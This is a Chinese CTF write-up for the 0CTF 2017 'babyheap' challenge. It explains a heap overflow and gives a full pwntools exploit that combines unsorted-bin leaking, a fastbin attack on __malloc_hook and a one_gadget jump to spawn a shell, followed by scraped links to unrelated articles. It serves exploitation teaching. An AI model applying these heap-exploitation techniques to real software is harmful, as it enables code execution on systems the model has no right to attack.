fastbin attack + unsortedbin attack + __malloc_hook 的基础利用

题目下载 : https://uaf.io/assets/0ctfbabyheap

本题是2017 0ctf 很简单的一道题

先来看一下题目的基本信息
$ checksec babyheap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

保护全开,是一个典型的菜单题,结合ida,先写下这几个函数

def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size)) def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload) def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx)) def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')

然后在ida中发现

__int64 __fastcall fill(__int64 a1)
{
...
printf("Index: ");
result = num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = num();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
====> result = read____(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
...

他并没有对输入的长度做判断,我们可以从一个堆块溢出到另一个堆块上

我们也可以对堆块的大小做控制

  1. 通过unsortedbin attack 来leak出堆的地址

    • 提前申请几个小堆块
    • 利用第一个chunk的溢出,修改第二个chunk的size(大到能包括每三个chunk的fd)
    • free第二个chunk,再申请回来
    • 利用这个chunk 改大第三个chunk (free能后进unsortedbin )
    • 通过第二个chunk读第三个chunk的fd(main_arena+88的地址)
  2. 通过 fastbin attack 控制 __malloc_hook
    • free 掉提前申请的0x60大小的chunk
    • 通过第一步的思路改被free的fd为 __malloc_hook
  3. 把__malloc_hook 改为
  4. 调用calloc 去执行 one_gadget
1. 通过unsortedbin attack 来leak出堆的地址
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4 fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读 idx2 ->fd 了 fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2) dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))

free(2)的时候我没有去控制 unsortedbin 会检查到下一个chunk 我把idx2->size改为0x91后,下一个chunk正好是idx4 ,上面申请的5个内存的大小是我精心构造的

完整exp如下:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') #context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64" def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size)) def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload) def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx)) def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n') #-------leak main_arena - unsorted bin attack ------
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4 fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了 fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2) dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook --------------------------- libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr)) payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode) alloc(1)
p.sendline('bash')
p.interactive()

我们需要在 __malloc_hook 写一个函数地址,用来getshell

0x4526a这个偏移里写的是这东西:

<do_system+1098>:     mov    rax,QWORD PTR [rip+0x37ec47]
<do_system+1105>: lea rdi,[rip+0x147adf]
<do_system+1112>: lea rsi,[rsp+0x30]
<do_system+1117>: mov DWORD PTR [rip+0x381219],0x0
<do_system+1127>: mov DWORD PTR [rip+0x381213],0x0
<do_system+1137>: mov rdx,QWORD PTR [rax]
<do_system+1140>: call 0x7f7f36b27770 <execve>

这个位置是怎么找到的? 分享一个小工具: https://github.com/david942j/one_gadget.git

$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
$

这4个地址一个一个的试去吧!骚年!

2017-0ctf-babyheap的更多相关文章

  1. Pwn with File结构体之利用 vtable 进行 ROP

    前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...

  2. 0CTF 2017 部分Web的某些不一样的思路

    洒家参加了0CTF 2017,做了一些题目.赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路. 一些不错的Writeup https://ctftime. ...

  3. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  4. CI Weekly #10 | 2017 DevOps 趋势预测

    2016 年的最后几个工作日,我们对 flow.ci Android & iOS 项目做了一些优化与修复: iOS 镜像 cocoapods 版本更新: fir iOS上传插件时间问题修复: ...

  5. 猖獗的假新闻:2017年1月1日起iOS的APP必须使用HTTPS

    一.假新闻如此猖獗 刚才一位老同事 打电话问:我们公司还是用的HTTP,马上就到2017年了,提交AppStore会被拒绝,怎么办? 公司里已经有很多人问过这个问题,回答一下: HTTP还是可以正常提 ...

  6. iOS的ATS配置 - 2017年前ATS规定的适配

    苹果规定 从2017年1月1日起,新提交的 app 不允许使用NSAllowsArbitraryLoads来绕过ATS(全称:App Transport Security)的限制. 以前为了能兼容ht ...

  7. 深入研究Visual studio 2017 RC新特性

    在[Xamarin+Prism开发详解三:Visual studio 2017 RC初体验]中分享了Visual studio 2017RC的大致情况,同时也发现大家对新的Visual Studio很 ...

  8. Xamarin+Prism开发详解三:Visual studio 2017 RC初体验

    Visual studio 2017 RC出来一段时间了,最近有时间就想安装试试,随带分享一下安装使用体验. 1,卸载visual studio 2015 虽然可以同时安装visual studio ...

  9. Microsoft Visual Studio 2017 for Mac Preview 下载+安装+案例Demo

    目录: 0. 前言 1. 在线安装器 2. 安装VS 3. HelloWorld 4. ASP.NET MVC 5. 软件下载 6. 结尾 0. 前言: 工作原因,上下班背着我的雷神,一个月瘦了10斤 ...

随机推荐

  1. 005-监控项item详解,手动创建item实例

    模板里的监控项都可以用 zabbix-get 命令执行 来获取相应的值,方法如下: [root@linux-node2 ~]# zabbix_get -s 192.168.1.230 -k agent ...

  2. Yii和ThinkPHP对比心得

    本人小菜鸟一只,为了自我学习和交流PHP(jquery,linux,lamp,shell,javascript,服务器)等一系列的知识,小菜鸟创建了一个群.希望光临本博客的人可以进来交流.寻求共同发展 ...

  3. 如何创建DLL,以及注入DLL

    为了防止忘记,特记下 DLL的创建,在VS2017中选择dll的创建 // dllmain.cpp : Defines the entry point for the DLL application. ...

  4. 关于Vue 刷新页面

    前言 Vue 中是单页面,当然需要刷新数据咯 你一定遇到这样的需求::比如在删除或者增加一条记录的时候希望当前页面可以重新刷新或者 这个页面有个组件 ,但是这个组件里面的点击事件还是到当前页面 怎么就 ...

  5. float浮动导致父元素高度坍塌的原因及清除浮动方法

        一.浮动产生原因 一般浮动是什么情况呢?一般是一个盒子里使用了CSS float浮动属性,导致父级对象盒子不能被撑开,这样CSS float浮动就产生了. 本来两个黑色对象盒子是在红色盒子内, ...

  6. [每日一讲] Python系列:字符串(下)

    字符串的常见操作 """ DATA STRUCTURE Container: Sequence -- String String is immutable.If stri ...

  7. UVALive 3523 : Knights of the Round Table (二分图+BCC)

    题目链接 题意及题解参见lrj训练指南 #include<bits/stdc++.h> using namespace std; ; int n,m; int dfn[maxn],low[ ...

  8. 几道好玩的JS题目,看看你能答中几道。

    1,for (var i = 0; i < 5; i++) { console.log(i); } 这几行代码会输出什么? 输出 0 1 2 3 4 2,for (var i = 0; i &l ...

  9. js 获取select的值

    var t = document.getElementById("provid"); console.log(t.value); console.log(t.text); //未定 ...

  10. sh_05_非公勿入

    sh_05_非公勿入 # 练习3: 定义一个布尔型变量 is_employee,编写代码判断是否是本公司员工 is_employee = False # 如果不是提示不允许入内 # 在开发中,通常希望 ...